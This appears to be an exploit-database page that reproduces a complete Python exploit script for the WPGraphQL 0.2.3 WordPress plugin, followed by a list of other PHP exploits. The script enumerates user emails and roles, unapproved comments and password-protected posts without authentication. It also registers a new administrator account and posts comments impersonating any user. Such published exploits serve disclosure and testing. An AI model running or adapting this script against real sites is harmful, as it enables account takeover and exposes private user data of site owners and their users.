Menu

"WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities"

Author

"Simone Quatrini"

Platform

php

Release date

2019-05-21

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#!/usr/bin/env python
#
# Author: Simone Quatrini of Pen Test Partners
# CVEs: 2019-9879, 2019-9880, 2019-9881
# Tested on Wordpress 5.1.1 and wp-graphql 0.2.3
# https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/

import argparse
import requests
import base64
import json
import sys

parser = argparse.ArgumentParser(description="wp-graphql <= 0.2.3 multi-exploit")

parser.add_argument('--url', action='store', dest='url', required=True, help="wp-graphql endpoint. e.g.: http://localhost/wordpress/graphql")

parser.add_argument('--post-comment', nargs=3, action='store', metavar=('postid','userid','commenttext'), dest='comment', required=False, help="Post comment impersonating a specific user. e.g.: --post-comment 2 1 Test")

parser.add_argument('--register-admin', nargs=3, action='store', metavar=('email','password','username'), dest='register', required=False, help="Register a new admin user. e.g.: --register-admin test@example.com MySecretP@ssword hax0r")

parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")

args = parser.parse_args()


def show_plugins(url, headers, verbose):
	payload = {"query":"{plugins{edges{node{name,description,version}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "[+] Installed plugins:"
		parsed = json.loads(response.text)
		for i in parsed['data']['plugins']['edges']:
		    print i['node']['name']+" "+i['node']['version']
	else:
		print "\n[-] Error code fetching plugins: ", response.status_code
	
	if verbose:
		print(response.text)

def show_themes(url, headers, verbose):
	payload = {"query":"{themes{edges{node{name,description,version}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Installed themes:"
		parsed = json.loads(response.text)
		for i in parsed['data']['themes']['edges']:
		    print i['node']['name']+" "+str(i['node']['version'])
	else:
		print "\n[-] Error code fetching themes: ", response.status_code
	
	if verbose:
		print(response.text)

def show_medias(url, headers, verbose):
	payload = {"query":"{mediaItems{edges{node{id,mediaDetails{file,sizes{file,height,mimeType,name,sourceUrl,width}},uri}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Media items:"
		parsed = json.loads(response.text)
		for i in parsed['data']['mediaItems']['edges']:
		    print "/wp-content/uploads/"+i['node']['mediaDetails']['file']
	else:
		print "\n[-] Error code fetching media items: ", response.status_code
	
	if verbose:
		print(response.text)

def show_users(url, headers, verbose):
	payload = {"query":"{users{edges{node{firstName,lastName,nickname,roles,email,userId,username}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] User list:"
		parsed = json.loads(response.text)
		for i in parsed['data']['users']['edges']:
		    print "ID: "+str(i['node']['userId'])+" - Username: "+i['node']['username']+" - Email: "+i['node']['email']+" - Role: "+i['node']['roles'][0]
	else:
		print "\n[-] Error code fetching user list: ", response.status_code
	
	if verbose:
		print(response.text)

def show_comments(url, headers, verbose):
	payload = {"query":"{comments(where:{includeUnapproved:[]}){edges{node{id,commentId,approved,content(format:RAW)}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Comments list:"
		parsed = json.loads(response.text)
		for i in parsed['data']['comments']['edges']:
		    print "ID: "+str(i['node']['commentId'])+" - Approved: "+str(i['node']['approved'])+" - Text: "+str(i['node']['content'])
	else:
		print "\n[-] Error code fetching comments list: ", response.status_code
	
	if verbose:
		print(response.text)

def show_password_protected(url, headers, verbose):
	payload = {"query":"{posts(where:{hasPassword:true}){edges{node{title,id,content(format:RAW)}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Found the following password protected post(s):"
		parsed = json.loads(response.text)
		for i in parsed['data']['posts']['edges']:
		    print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
	else:
		print "\n[-] No password protected post found"

	if verbose:
		print(response.text)

	payload = {"query":"{pages(where:{hasPassword:true}){edges{node{id,link,title,uri,content(format:RAW)}}}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'node' in response.text:
		print "\n[+] Found the following password protected page(s):"
		parsed = json.loads(response.text)
		for i in parsed['data']['pages']['edges']:
		    print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
	else:
		print "\n[-] No password protected page found"

	if verbose:
		print(response.text)


def post_comment(url, headers, postID, userID, comment, verbose):
	payload = {"query":"mutation{createComment(input:{postId:"+postID+",userId:"+userID+",content:\""+comment+"\",clientMutationId:\"UWHATM8\",}){clientMutationId}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'UWHATM8' in response.text:
		print "[+] Comment posted on article ID "+postID+""
	else:
		print "\n[-] Error posting the comment. Check that postID and userID are correct"

	if verbose:
		print(response.text)

def register_admin(url, headers, email, password, username, verbose):
	payload = {"query":"mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\""+email+"\",password:\""+password+"\",username:\""+username+"\",roles:[\"administrator\"]}){clientMutationId}}"}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200 and 'UWHATM8' in response.text:
		print "[+] New admin created. Login with "+username+":"+password
	else:
		print "\n[-] Registrations are closed, can't proceed."

	if verbose:
		print(response.text)

def check_endpoint(url, headers):
	payload = {'':''}
	response = requests.post(url, data=json.dumps(payload), headers=headers)
	if response.status_code == 200:
		print "[+] Endpoint is reachable\n"
	else:
		print "\n[-] Endpoint response code: ", response.status_code
		sys.exit()
		


url = args.url
headers = {'Content-type': 'application/json', 'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
verbose = args.verbose


# Only in case '--post-comment' is passed
if args.comment:
	postID, userID, comment = args.comment
	check_endpoint(url, headers)
	post_comment(url, headers, postID, userID, comment, verbose)
	sys.exit()

# Only in case '--register-admin' is passed
if args.register:
	email, password, username = args.register
	check_endpoint(url, headers)
	register_admin(url, headers, email, password, username, verbose)
	sys.exit()

# Default actions if only '--url' is passed
show_plugins(url, headers, verbose)
show_themes(url, headers, verbose)
show_medias(url, headers, verbose)
show_users(url, headers, verbose)
show_comments(url, headers, verbose)
show_password_protected(url, headers, verbose)
Release Date Title Type Platform Author
2019-08-16 "Integria IMS 5.0.86 - Arbitrary File Upload" webapps php Greg.Priest
2019-08-16 "Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-16 "EyesOfNetwork 5.1 - Authenticated Remote Command Execution" webapps php "Nassim Asrir"
2019-08-14 "WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery" webapps php "Princy Edward"
2019-08-14 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection" webapps php qw3rTyTy
2019-08-14 "SugarCRM Enterprise 9.0.0 - Cross-Site Scripting" webapps php "Ilca Lucian Florin"
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell" webapps php xerubus
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download" webapps php xerubus
2019-08-14 "Agent Tesla Botnet - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-13 "AZORult Botnet - SQL Injection" remote php prsecurity
2019-08-13 "Agent Tesla Botnet - Arbitrary Code Execution" remote php prsecurity
2019-08-12 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Formula Injection" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting via File Upload" webapps php "Aishwarya Iyer"
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticketreply.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting" webapps php Greg.Priest
2019-08-12 "BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting" webapps php "Angelo Ruwantha"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - SQL Injection" webapps php qw3rTyTy
2019-08-08 "Adive Framework 2.0.7 - Cross-Site Request Forgery" webapps php "Pablo Santiago"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - Arbitrary File Download" webapps php qw3rTyTy
2019-08-08 "Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income)" webapps php "Mr Winst0n"
2019-08-08 "Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting" webapps php Greg.Priest
2019-08-08 "Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-07 "WordPress Plugin JoomSport 3.3 - SQL Injection" webapps php "Pablo Santiago"
2019-08-02 "1CRM On-Premise Software 8.5.7 - Persistent Cross-Site Scripting" webapps php "Kusol Watchara-Apanukorn"
2019-08-02 "Rest - Cafe and Restaurant Website CMS - 'slug' SQL Injection" webapps php n1x_
2019-08-02 "Sar2HTML 3.2.1 - Remote Command Execution" webapps php "Cemal Cihad ÇİFTÇİ"
2019-08-01 "WebIncorp ERP - SQL injection" webapps php n1x_
Release Date Title Type Platform Author
2019-05-21 "WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities" webapps php "Simone Quatrini"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46886/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46886/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46886/41346/wordpress-plugin-wpgraphql-023-multiple-vulnerabilities/download/", "exploit_id": "46886", "exploit_description": "\"WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities\"", "exploit_date": "2019-05-21", "exploit_author": "\"Simone Quatrini\"", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse